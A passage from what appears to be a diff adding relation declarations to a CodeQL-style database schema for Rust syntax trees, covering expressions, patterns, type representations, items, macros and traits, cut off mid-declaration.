+#keyset[id, index] +asm_expr_asm_pieces( + int id: @asm_expr ref, + int index: int ref, + int asm_piece: @asm_piece ref +); + +#keyset[id, index] +asm_expr_attrs( + int id: @asm_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +asm_expr_templates( + int id: @asm_expr ref, + int index: int ref, + int template: @expr ref +); + +asm_labels( + unique int id: @asm_label +); + +#keyset[id] +asm_label_block_exprs( + int id: @asm_label ref, + int block_expr: @block_expr ref +); + +asm_operand_nameds( + unique int id: @asm_operand_named +); + +#keyset[id] +asm_operand_named_asm_operands( + int id: @asm_operand_named ref, + int asm_operand: @asm_operand ref +); + +#keyset[id] +asm_operand_named_names( + int id: @asm_operand_named ref, + int name: @name ref +); + +asm_options_lists( + unique int id: @asm_options_list +); + +#keyset[id, index] +asm_options_list_asm_options( + int id: @asm_options_list ref, + int index: int ref, + int asm_option: @asm_option ref +); + +asm_reg_operands( + unique int id: @asm_reg_operand +); + +#keyset[id] +asm_reg_operand_asm_dir_specs( + int id: @asm_reg_operand ref, + int asm_dir_spec: @asm_dir_spec ref +); + +#keyset[id] +asm_reg_operand_asm_operand_exprs( + int id: @asm_reg_operand ref, + int asm_operand_expr: @asm_operand_expr ref +); + +#keyset[id] +asm_reg_operand_asm_reg_specs( + int id: @asm_reg_operand ref, + int asm_reg_spec: @asm_reg_spec ref +); + +asm_syms( + unique int id: @asm_sym +); + +#keyset[id] +asm_sym_paths( + int id: @asm_sym ref, + int path: @path ref +); + +assoc_type_args( + unique int id: @assoc_type_arg +); + +#keyset[id] +assoc_type_arg_const_args( + int id: @assoc_type_arg ref, + int const_arg: @const_arg ref +); + +#keyset[id] +assoc_type_arg_generic_arg_lists( + int id: @assoc_type_arg ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +assoc_type_arg_identifiers( + int id: @assoc_type_arg ref, + int identifier: @name_ref ref +); + +#keyset[id] +assoc_type_arg_param_lists( + int id: @assoc_type_arg ref, + int param_list: @param_list ref +); + +#keyset[id] +assoc_type_arg_ret_types( + int id: @assoc_type_arg ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +assoc_type_arg_return_type_syntaxes( + int id: @assoc_type_arg ref, + int return_type_syntax: @return_type_syntax ref +); + +#keyset[id] +assoc_type_arg_type_reprs( + int id: @assoc_type_arg ref, + int type_repr: @type_repr ref +); + +#keyset[id] +assoc_type_arg_type_bound_lists( + int id: @assoc_type_arg ref, + int type_bound_list: @type_bound_list ref +); + +await_exprs( + unique int id: @await_expr +); + +#keyset[id, index] +await_expr_attrs( + int id: @await_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +await_expr_exprs( + int id: @await_expr ref, + int expr: @expr ref +); + +become_exprs( + unique int id: @become_expr +); + +#keyset[id, index] +become_expr_attrs( + int id: @become_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +become_expr_exprs( + int id: @become_expr ref, + int expr: @expr ref +); + +binary_exprs( + unique int id: @binary_expr +); + +#keyset[id, index] +binary_expr_attrs( + int id: @binary_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +binary_expr_lhs( + int id: @binary_expr ref, + int lhs: @expr ref +); + +#keyset[id] +binary_expr_operator_names( + int id: @binary_expr ref, + string operator_name: string ref +); + +#keyset[id] +binary_expr_rhs( + int id: @binary_expr ref, + int rhs: @expr ref +); + +box_pats( + unique int id: @box_pat +); + +#keyset[id] +box_pat_pats( + int id: @box_pat ref, + int pat: @pat ref +); + +break_exprs( + unique int id: @break_expr +); + +#keyset[id, index] +break_expr_attrs( + int id: @break_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +break_expr_exprs( + int id: @break_expr ref, + int expr: @expr ref +); + +#keyset[id] +break_expr_lifetimes( + int id: @break_expr ref, + int lifetime: @lifetime ref +); + +@call_expr_base = + @call_expr +| @method_call_expr +; + +#keyset[id] +call_expr_base_arg_lists( + int id: @call_expr_base ref, + int arg_list: @arg_list ref +); + +#keyset[id, index] +call_expr_base_attrs( + int id: @call_expr_base ref, + int index: int ref, + int attr: @attr ref +); + +cast_exprs( + unique int id: @cast_expr +); + +#keyset[id, index] +cast_expr_attrs( + int id: @cast_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +cast_expr_exprs( + int id: @cast_expr ref, + int expr: @expr ref +); + +#keyset[id] +cast_expr_type_reprs( + int id: @cast_expr ref, + int type_repr: @type_repr ref +); + +closure_exprs( + unique int id: @closure_expr +); + +#keyset[id] +closure_expr_bodies( + int id: @closure_expr ref, + int body: @expr ref +); + +#keyset[id] +closure_expr_closure_binders( + int id: @closure_expr ref, + int closure_binder: @closure_binder ref +); + +#keyset[id] +closure_expr_is_async( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_const( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_gen( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_move( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_is_static( + int id: @closure_expr ref +); + +#keyset[id] +closure_expr_ret_types( + int id: @closure_expr ref, + int ret_type: @ret_type_repr ref +); + +comments( + unique int id: @comment, + int parent: @ast_node ref, + string text: string ref +); + +const_args( + unique int id: @const_arg +); + +#keyset[id] +const_arg_exprs( + int id: @const_arg ref, + int expr: @expr ref +); + +const_block_pats( + unique int id: @const_block_pat +); + +#keyset[id] +const_block_pat_block_exprs( + int id: @const_block_pat ref, + int block_expr: @block_expr ref +); + +#keyset[id] +const_block_pat_is_const( + int id: @const_block_pat ref +); + +const_params( + unique int id: @const_param +); + +#keyset[id, index] +const_param_attrs( + int id: @const_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_param_default_vals( + int id: @const_param ref, + int default_val: @const_arg ref +); + +#keyset[id] +const_param_is_const( + int id: @const_param ref +); + +#keyset[id] +const_param_names( + int id: @const_param ref, + int name: @name ref +); + +#keyset[id] +const_param_type_reprs( + int id: @const_param ref, + int type_repr: @type_repr ref +); + +continue_exprs( + unique int id: @continue_expr +); + +#keyset[id, index] +continue_expr_attrs( + int id: @continue_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +continue_expr_lifetimes( + int id: @continue_expr ref, + int lifetime: @lifetime ref +); + +dyn_trait_type_reprs( + unique int id: @dyn_trait_type_repr +); + +#keyset[id] +dyn_trait_type_repr_type_bound_lists( + int id: @dyn_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +expr_stmts( + unique int id: @expr_stmt +); + +#keyset[id] +expr_stmt_exprs( + int id: @expr_stmt ref, + int expr: @expr ref +); + +field_exprs( + unique int id: @field_expr +); + +#keyset[id, index] +field_expr_attrs( + int id: @field_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +field_expr_containers( + int id: @field_expr ref, + int container: @expr ref +); + +#keyset[id] +field_expr_identifiers( + int id: @field_expr ref, + int identifier: @name_ref ref +); + +fn_ptr_type_reprs( + unique int id: @fn_ptr_type_repr +); + +#keyset[id] +fn_ptr_type_repr_abis( + int id: @fn_ptr_type_repr ref, + int abi: @abi ref +); + +#keyset[id] +fn_ptr_type_repr_is_async( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_const( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_is_unsafe( + int id: @fn_ptr_type_repr ref +); + +#keyset[id] +fn_ptr_type_repr_param_lists( + int id: @fn_ptr_type_repr ref, + int param_list: @param_list ref +); + +#keyset[id] +fn_ptr_type_repr_ret_types( + int id: @fn_ptr_type_repr ref, + int ret_type: @ret_type_repr ref +); + +for_type_reprs( + unique int id: @for_type_repr +); + +#keyset[id] +for_type_repr_generic_param_lists( + int id: @for_type_repr ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +for_type_repr_type_reprs( + int id: @for_type_repr ref, + int type_repr: @type_repr ref +); + +format_args_exprs( + unique int id: @format_args_expr +); + +#keyset[id, index] +format_args_expr_args( + int id: @format_args_expr ref, + int index: int ref, + int arg: @format_args_arg ref +); + +#keyset[id, index] +format_args_expr_attrs( + int id: @format_args_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +format_args_expr_templates( + int id: @format_args_expr ref, + int template: @expr ref +); + +ident_pats( + unique int id: @ident_pat +); + +#keyset[id, index] +ident_pat_attrs( + int id: @ident_pat ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ident_pat_is_mut( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_is_ref( + int id: @ident_pat ref +); + +#keyset[id] +ident_pat_names( + int id: @ident_pat ref, + int name: @name ref +); + +#keyset[id] +ident_pat_pats( + int id: @ident_pat ref, + int pat: @pat ref +); + +if_exprs( + unique int id: @if_expr +); + +#keyset[id, index] +if_expr_attrs( + int id: @if_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +if_expr_conditions( + int id: @if_expr ref, + int condition: @expr ref +); + +#keyset[id] +if_expr_elses( + int id: @if_expr ref, + int else: @expr ref +); + +#keyset[id] +if_expr_thens( + int id: @if_expr ref, + int then: @block_expr ref +); + +impl_trait_type_reprs( + unique int id: @impl_trait_type_repr +); + +#keyset[id] +impl_trait_type_repr_type_bound_lists( + int id: @impl_trait_type_repr ref, + int type_bound_list: @type_bound_list ref +); + +index_exprs( + unique int id: @index_expr +); + +#keyset[id, index] +index_expr_attrs( + int id: @index_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +index_expr_bases( + int id: @index_expr ref, + int base: @expr ref +); + +#keyset[id] +index_expr_indices( + int id: @index_expr ref, + int index: @expr ref +); + +infer_type_reprs( + unique int id: @infer_type_repr +); + +@item = + @const +| @enum +| @extern_block +| @extern_crate +| @function +| @impl +| @macro_call +| @macro_def +| @macro_rules +| @module +| @static +| @struct +| @trait +| @trait_alias +| @type_alias +| @union +| @use +; + +#keyset[id] +item_attribute_macro_expansions( + int id: @item ref, + int attribute_macro_expansion: @macro_items ref +); + +@labelable_expr = + @block_expr +| @looping_expr +; + +#keyset[id] +labelable_expr_labels( + int id: @labelable_expr ref, + int label: @label ref +); + +let_exprs( + unique int id: @let_expr +); + +#keyset[id, index] +let_expr_attrs( + int id: @let_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_expr_scrutinees( + int id: @let_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +let_expr_pats( + int id: @let_expr ref, + int pat: @pat ref +); + +let_stmts( + unique int id: @let_stmt +); + +#keyset[id, index] +let_stmt_attrs( + int id: @let_stmt ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +let_stmt_initializers( + int id: @let_stmt ref, + int initializer: @expr ref +); + +#keyset[id] +let_stmt_let_elses( + int id: @let_stmt ref, + int let_else: @let_else ref +); + +#keyset[id] +let_stmt_pats( + int id: @let_stmt ref, + int pat: @pat ref +); + +#keyset[id] +let_stmt_type_reprs( + int id: @let_stmt ref, + int type_repr: @type_repr ref +); + +lifetimes( + unique int id: @lifetime +); + +#keyset[id] +lifetime_texts( + int id: @lifetime ref, + string text: string ref +); + +lifetime_args( + unique int id: @lifetime_arg +); + +#keyset[id] +lifetime_arg_lifetimes( + int id: @lifetime_arg ref, + int lifetime: @lifetime ref +); + +lifetime_params( + unique int id: @lifetime_param +); + +#keyset[id, index] +lifetime_param_attrs( + int id: @lifetime_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +lifetime_param_lifetimes( + int id: @lifetime_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +lifetime_param_type_bound_lists( + int id: @lifetime_param ref, + int type_bound_list: @type_bound_list ref +); + +literal_exprs( + unique int id: @literal_expr +); + +#keyset[id, index] +literal_expr_attrs( + int id: @literal_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +literal_expr_text_values( + int id: @literal_expr ref, + string text_value: string ref +); + +literal_pats( + unique int id: @literal_pat +); + +#keyset[id] +literal_pat_literals( + int id: @literal_pat ref, + int literal: @literal_expr ref +); + +macro_block_exprs( + unique int id: @macro_block_expr +); + +#keyset[id] +macro_block_expr_tail_exprs( + int id: @macro_block_expr ref, + int tail_expr: @expr ref +); + +#keyset[id, index] +macro_block_expr_statements( + int id: @macro_block_expr ref, + int index: int ref, + int statement: @stmt ref +); + +macro_exprs( + unique int id: @macro_expr +); + +#keyset[id] +macro_expr_macro_calls( + int id: @macro_expr ref, + int macro_call: @macro_call ref +); + +macro_pats( + unique int id: @macro_pat +); + +#keyset[id] +macro_pat_macro_calls( + int id: @macro_pat ref, + int macro_call: @macro_call ref +); + +macro_type_reprs( + unique int id: @macro_type_repr +); + +#keyset[id] +macro_type_repr_macro_calls( + int id: @macro_type_repr ref, + int macro_call: @macro_call ref +); + +match_exprs( + unique int id: @match_expr +); + +#keyset[id, index] +match_expr_attrs( + int id: @match_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +match_expr_scrutinees( + int id: @match_expr ref, + int scrutinee: @expr ref +); + +#keyset[id] +match_expr_match_arm_lists( + int id: @match_expr ref, + int match_arm_list: @match_arm_list ref +); + +name_refs( + unique int id: @name_ref +); + +#keyset[id] +name_ref_texts( + int id: @name_ref ref, + string text: string ref +); + +never_type_reprs( + unique int id: @never_type_repr +); + +offset_of_exprs( + unique int id: @offset_of_expr +); + +#keyset[id, index] +offset_of_expr_attrs( + int id: @offset_of_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +offset_of_expr_fields( + int id: @offset_of_expr ref, + int index: int ref, + int field: @name_ref ref +); + +#keyset[id] +offset_of_expr_type_reprs( + int id: @offset_of_expr ref, + int type_repr: @type_repr ref +); + +or_pats( + unique int id: @or_pat +); + +#keyset[id, index] +or_pat_pats( + int id: @or_pat ref, + int index: int ref, + int pat: @pat ref +); + +params( + unique int id: @param +); + +#keyset[id] +param_pats( + int id: @param ref, + int pat: @pat ref +); + +paren_exprs( + unique int id: @paren_expr +); + +#keyset[id, index] +paren_expr_attrs( + int id: @paren_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +paren_expr_exprs( + int id: @paren_expr ref, + int expr: @expr ref +); + +paren_pats( + unique int id: @paren_pat +); + +#keyset[id] +paren_pat_pats( + int id: @paren_pat ref, + int pat: @pat ref +); + +paren_type_reprs( + unique int id: @paren_type_repr +); + +#keyset[id] +paren_type_repr_type_reprs( + int id: @paren_type_repr ref, + int type_repr: @type_repr ref +); + +@path_ast_node = + @path_expr +| @path_pat +| @struct_expr +| @struct_pat +| @tuple_struct_pat +; + +#keyset[id] +path_ast_node_paths( + int id: @path_ast_node ref, + int path: @path ref +); + +@path_expr_base = + @path_expr +; + +path_type_reprs( + unique int id: @path_type_repr +); + +#keyset[id] +path_type_repr_paths( + int id: @path_type_repr ref, + int path: @path ref +); + +prefix_exprs( + unique int id: @prefix_expr +); + +#keyset[id, index] +prefix_expr_attrs( + int id: @prefix_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +prefix_expr_exprs( + int id: @prefix_expr ref, + int expr: @expr ref +); + +#keyset[id] +prefix_expr_operator_names( + int id: @prefix_expr ref, + string operator_name: string ref +); + +ptr_type_reprs( + unique int id: @ptr_type_repr +); + +#keyset[id] +ptr_type_repr_is_const( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_is_mut( + int id: @ptr_type_repr ref +); + +#keyset[id] +ptr_type_repr_type_reprs( + int id: @ptr_type_repr ref, + int type_repr: @type_repr ref +); + +range_exprs( + unique int id: @range_expr +); + +#keyset[id, index] +range_expr_attrs( + int id: @range_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +range_expr_ends( + int id: @range_expr ref, + int end: @expr ref +); + +#keyset[id] +range_expr_operator_names( + int id: @range_expr ref, + string operator_name: string ref +); + +#keyset[id] +range_expr_starts( + int id: @range_expr ref, + int start: @expr ref +); + +range_pats( + unique int id: @range_pat +); + +#keyset[id] +range_pat_ends( + int id: @range_pat ref, + int end: @pat ref +); + +#keyset[id] +range_pat_operator_names( + int id: @range_pat ref, + string operator_name: string ref +); + +#keyset[id] +range_pat_starts( + int id: @range_pat ref, + int start: @pat ref +); + +ref_exprs( + unique int id: @ref_expr +); + +#keyset[id, index] +ref_expr_attrs( + int id: @ref_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +ref_expr_exprs( + int id: @ref_expr ref, + int expr: @expr ref +); + +#keyset[id] +ref_expr_is_const( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_mut( + int id: @ref_expr ref +); + +#keyset[id] +ref_expr_is_raw( + int id: @ref_expr ref +); + +ref_pats( + unique int id: @ref_pat +); + +#keyset[id] +ref_pat_is_mut( + int id: @ref_pat ref +); + +#keyset[id] +ref_pat_pats( + int id: @ref_pat ref, + int pat: @pat ref +); + +ref_type_reprs( + unique int id: @ref_type_repr +); + +#keyset[id] +ref_type_repr_is_mut( + int id: @ref_type_repr ref +); + +#keyset[id] +ref_type_repr_lifetimes( + int id: @ref_type_repr ref, + int lifetime: @lifetime ref +); + +#keyset[id] +ref_type_repr_type_reprs( + int id: @ref_type_repr ref, + int type_repr: @type_repr ref +); + +rest_pats( + unique int id: @rest_pat +); + +#keyset[id, index] +rest_pat_attrs( + int id: @rest_pat ref, + int index: int ref, + int attr: @attr ref +); + +return_exprs( + unique int id: @return_expr +); + +#keyset[id, index] +return_expr_attrs( + int id: @return_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +return_expr_exprs( + int id: @return_expr ref, + int expr: @expr ref +); + +self_params( + unique int id: @self_param +); + +#keyset[id] +self_param_is_ref( + int id: @self_param ref +); + +#keyset[id] +self_param_is_mut( + int id: @self_param ref +); + +#keyset[id] +self_param_lifetimes( + int id: @self_param ref, + int lifetime: @lifetime ref +); + +#keyset[id] +self_param_names( + int id: @self_param ref, + int name: @name ref +); + +slice_pats( + unique int id: @slice_pat +); + +#keyset[id, index] +slice_pat_pats( + int id: @slice_pat ref, + int index: int ref, + int pat: @pat ref +); + +slice_type_reprs( + unique int id: @slice_type_repr +); + +#keyset[id] +slice_type_repr_type_reprs( + int id: @slice_type_repr ref, + int type_repr: @type_repr ref +); + +struct_field_lists( + unique int id: @struct_field_list +); + +#keyset[id, index] +struct_field_list_fields( + int id: @struct_field_list ref, + int index: int ref, + int field: @struct_field ref +); + +try_exprs( + unique int id: @try_expr +); + +#keyset[id, index] +try_expr_attrs( + int id: @try_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +try_expr_exprs( + int id: @try_expr ref, + int expr: @expr ref +); + +tuple_exprs( + unique int id: @tuple_expr +); + +#keyset[id, index] +tuple_expr_attrs( + int id: @tuple_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id, index] +tuple_expr_fields( + int id: @tuple_expr ref, + int index: int ref, + int field: @expr ref +); + +tuple_field_lists( + unique int id: @tuple_field_list +); + +#keyset[id, index] +tuple_field_list_fields( + int id: @tuple_field_list ref, + int index: int ref, + int field: @tuple_field ref +); + +tuple_pats( + unique int id: @tuple_pat +); + +#keyset[id, index] +tuple_pat_fields( + int id: @tuple_pat ref, + int index: int ref, + int field: @pat ref +); + +tuple_type_reprs( + unique int id: @tuple_type_repr +); + +#keyset[id, index] +tuple_type_repr_fields( + int id: @tuple_type_repr ref, + int index: int ref, + int field: @type_repr ref +); + +type_args( + unique int id: @type_arg +); + +#keyset[id] +type_arg_type_reprs( + int id: @type_arg ref, + int type_repr: @type_repr ref +); + +type_params( + unique int id: @type_param +); + +#keyset[id, index] +type_param_attrs( + int id: @type_param ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +type_param_default_types( + int id: @type_param ref, + int default_type: @type_repr ref +); + +#keyset[id] +type_param_names( + int id: @type_param ref, + int name: @name ref +); + +#keyset[id] +type_param_type_bound_lists( + int id: @type_param ref, + int type_bound_list: @type_bound_list ref +); + +underscore_exprs( + unique int id: @underscore_expr +); + +#keyset[id, index] +underscore_expr_attrs( + int id: @underscore_expr ref, + int index: int ref, + int attr: @attr ref +); + +variants( + unique int id: @variant +); + +#keyset[id, index] +variant_attrs( + int id: @variant ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +variant_discriminants( + int id: @variant ref, + int discriminant: @expr ref +); + +#keyset[id] +variant_field_lists( + int id: @variant ref, + int field_list: @field_list ref +); + +#keyset[id] +variant_names( + int id: @variant ref, + int name: @name ref +); + +#keyset[id] +variant_visibilities( + int id: @variant ref, + int visibility: @visibility ref +); + +wildcard_pats( + unique int id: @wildcard_pat +); + +yeet_exprs( + unique int id: @yeet_expr +); + +#keyset[id, index] +yeet_expr_attrs( + int id: @yeet_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yeet_expr_exprs( + int id: @yeet_expr ref, + int expr: @expr ref +); + +yield_exprs( + unique int id: @yield_expr +); + +#keyset[id, index] +yield_expr_attrs( + int id: @yield_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +yield_expr_exprs( + int id: @yield_expr ref, + int expr: @expr ref +); + +block_exprs( + unique int id: @block_expr +); + +#keyset[id, index] +block_expr_attrs( + int id: @block_expr ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +block_expr_is_async( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_const( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_gen( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_move( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_try( + int id: @block_expr ref +); + +#keyset[id] +block_expr_is_unsafe( + int id: @block_expr ref +); + +#keyset[id] +block_expr_stmt_lists( + int id: @block_expr ref, + int stmt_list: @stmt_list ref +); + +call_exprs( + unique int id: @call_expr +); + +#keyset[id] +call_expr_functions( + int id: @call_expr ref, + int function: @expr ref +); + +consts( + unique int id: @const +); + +#keyset[id, index] +const_attrs( + int id: @const ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +const_bodies( + int id: @const ref, + int body: @expr ref +); + +#keyset[id] +const_is_const( + int id: @const ref +); + +#keyset[id] +const_is_default( + int id: @const ref +); + +#keyset[id] +const_names( + int id: @const ref, + int name: @name ref +); + +#keyset[id] +const_type_reprs( + int id: @const ref, + int type_repr: @type_repr ref +); + +#keyset[id] +const_visibilities( + int id: @const ref, + int visibility: @visibility ref +); + +enums( + unique int id: @enum +); + +#keyset[id, index] +enum_attrs( + int id: @enum ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +enum_generic_param_lists( + int id: @enum ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +enum_names( + int id: @enum ref, + int name: @name ref +); + +#keyset[id] +enum_variant_lists( + int id: @enum ref, + int variant_list: @variant_list ref +); + +#keyset[id] +enum_visibilities( + int id: @enum ref, + int visibility: @visibility ref +); + +#keyset[id] +enum_where_clauses( + int id: @enum ref, + int where_clause: @where_clause ref +); + +extern_blocks( + unique int id: @extern_block +); + +#keyset[id] +extern_block_abis( + int id: @extern_block ref, + int abi: @abi ref +); + +#keyset[id, index] +extern_block_attrs( + int id: @extern_block ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_block_extern_item_lists( + int id: @extern_block ref, + int extern_item_list: @extern_item_list ref +); + +#keyset[id] +extern_block_is_unsafe( + int id: @extern_block ref +); + +extern_crates( + unique int id: @extern_crate +); + +#keyset[id, index] +extern_crate_attrs( + int id: @extern_crate ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +extern_crate_identifiers( + int id: @extern_crate ref, + int identifier: @name_ref ref +); + +#keyset[id] +extern_crate_renames( + int id: @extern_crate ref, + int rename: @rename ref +); + +#keyset[id] +extern_crate_visibilities( + int id: @extern_crate ref, + int visibility: @visibility ref +); + +functions( + unique int id: @function +); + +#keyset[id] +function_abis( + int id: @function ref, + int abi: @abi ref +); + +#keyset[id] +function_bodies( + int id: @function ref, + int body: @block_expr ref +); + +#keyset[id] +function_generic_param_lists( + int id: @function ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +function_is_async( + int id: @function ref +); + +#keyset[id] +function_is_const( + int id: @function ref +); + +#keyset[id] +function_is_default( + int id: @function ref +); + +#keyset[id] +function_is_gen( + int id: @function ref +); + +#keyset[id] +function_is_unsafe( + int id: @function ref +); + +#keyset[id] +function_names( + int id: @function ref, + int name: @name ref +); + +#keyset[id] +function_ret_types( + int id: @function ref, + int ret_type: @ret_type_repr ref +); + +#keyset[id] +function_visibilities( + int id: @function ref, + int visibility: @visibility ref +); + +#keyset[id] +function_where_clauses( + int id: @function ref, + int where_clause: @where_clause ref +); + +impls( + unique int id: @impl +); + +#keyset[id] +impl_assoc_item_lists( + int id: @impl ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +impl_attrs( + int id: @impl ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +impl_generic_param_lists( + int id: @impl ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +impl_is_const( + int id: @impl ref +); + +#keyset[id] +impl_is_default( + int id: @impl ref +); + +#keyset[id] +impl_is_unsafe( + int id: @impl ref +); + +#keyset[id] +impl_self_ties( + int id: @impl ref, + int self_ty: @type_repr ref +); + +#keyset[id] +impl_traits( + int id: @impl ref, + int trait: @type_repr ref +); + +#keyset[id] +impl_visibilities( + int id: @impl ref, + int visibility: @visibility ref +); + +#keyset[id] +impl_where_clauses( + int id: @impl ref, + int where_clause: @where_clause ref +); + +@looping_expr = + @for_expr +| @loop_expr +| @while_expr +; + +#keyset[id] +looping_expr_loop_bodies( + int id: @looping_expr ref, + int loop_body: @block_expr ref +); + +macro_calls( + unique int id: @macro_call +); + +#keyset[id, index] +macro_call_attrs( + int id: @macro_call ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_call_paths( + int id: @macro_call ref, + int path: @path ref +); + +#keyset[id] +macro_call_token_trees( + int id: @macro_call ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_call_macro_call_expansions( + int id: @macro_call ref, + int macro_call_expansion: @ast_node ref +); + +macro_defs( + unique int id: @macro_def +); + +#keyset[id] +macro_def_args( + int id: @macro_def ref, + int args: @token_tree ref +); + +#keyset[id, index] +macro_def_attrs( + int id: @macro_def ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_def_bodies( + int id: @macro_def ref, + int body: @token_tree ref +); + +#keyset[id] +macro_def_names( + int id: @macro_def ref, + int name: @name ref +); + +#keyset[id] +macro_def_visibilities( + int id: @macro_def ref, + int visibility: @visibility ref +); + +macro_rules( + unique int id: @macro_rules +); + +#keyset[id, index] +macro_rules_attrs( + int id: @macro_rules ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +macro_rules_names( + int id: @macro_rules ref, + int name: @name ref +); + +#keyset[id] +macro_rules_token_trees( + int id: @macro_rules ref, + int token_tree: @token_tree ref +); + +#keyset[id] +macro_rules_visibilities( + int id: @macro_rules ref, + int visibility: @visibility ref +); + +method_call_exprs( + unique int id: @method_call_expr +); + +#keyset[id] +method_call_expr_generic_arg_lists( + int id: @method_call_expr ref, + int generic_arg_list: @generic_arg_list ref +); + +#keyset[id] +method_call_expr_identifiers( + int id: @method_call_expr ref, + int identifier: @name_ref ref +); + +#keyset[id] +method_call_expr_receivers( + int id: @method_call_expr ref, + int receiver: @expr ref +); + +modules( + unique int id: @module +); + +#keyset[id, index] +module_attrs( + int id: @module ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +module_item_lists( + int id: @module ref, + int item_list: @item_list ref +); + +#keyset[id] +module_names( + int id: @module ref, + int name: @name ref +); + +#keyset[id] +module_visibilities( + int id: @module ref, + int visibility: @visibility ref +); + +path_exprs( + unique int id: @path_expr +); + +#keyset[id, index] +path_expr_attrs( + int id: @path_expr ref, + int index: int ref, + int attr: @attr ref +); + +path_pats( + unique int id: @path_pat +); + +statics( + unique int id: @static +); + +#keyset[id, index] +static_attrs( + int id: @static ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +static_bodies( + int id: @static ref, + int body: @expr ref +); + +#keyset[id] +static_is_mut( + int id: @static ref +); + +#keyset[id] +static_is_static( + int id: @static ref +); + +#keyset[id] +static_is_unsafe( + int id: @static ref +); + +#keyset[id] +static_names( + int id: @static ref, + int name: @name ref +); + +#keyset[id] +static_type_reprs( + int id: @static ref, + int type_repr: @type_repr ref +); + +#keyset[id] +static_visibilities( + int id: @static ref, + int visibility: @visibility ref +); + +structs( + unique int id: @struct +); + +#keyset[id, index] +struct_attrs( + int id: @struct ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +struct_field_lists_( + int id: @struct ref, + int field_list: @field_list ref +); + +#keyset[id] +struct_generic_param_lists( + int id: @struct ref, + int generic_param_list: @generic_param_list ref +); + +#keyset[id] +struct_names( + int id: @struct ref, + int name: @name ref +); + +#keyset[id] +struct_visibilities( + int id: @struct ref, + int visibility: @visibility ref +); + +#keyset[id] +struct_where_clauses( + int id: @struct ref, + int where_clause: @where_clause ref +); + +struct_exprs( + unique int id: @struct_expr +); + +#keyset[id] +struct_expr_struct_expr_field_lists( + int id: @struct_expr ref, + int struct_expr_field_list: @struct_expr_field_list ref +); + +struct_pats( + unique int id: @struct_pat +); + +#keyset[id] +struct_pat_struct_pat_field_lists( + int id: @struct_pat ref, + int struct_pat_field_list: @struct_pat_field_list ref +); + +traits( + unique int id: @trait +); + +#keyset[id] +trait_assoc_item_lists( + int id: @trait ref, + int assoc_item_list: @assoc_item_list ref +); + +#keyset[id, index] +trait_attrs( + int id: @trait ref, + int index: int ref, + int attr: @attr ref +); + +#keyset[id] +trait_generic_param_lists( + int id: @trait ref, + int generic_param_list: @generic_param_list ref 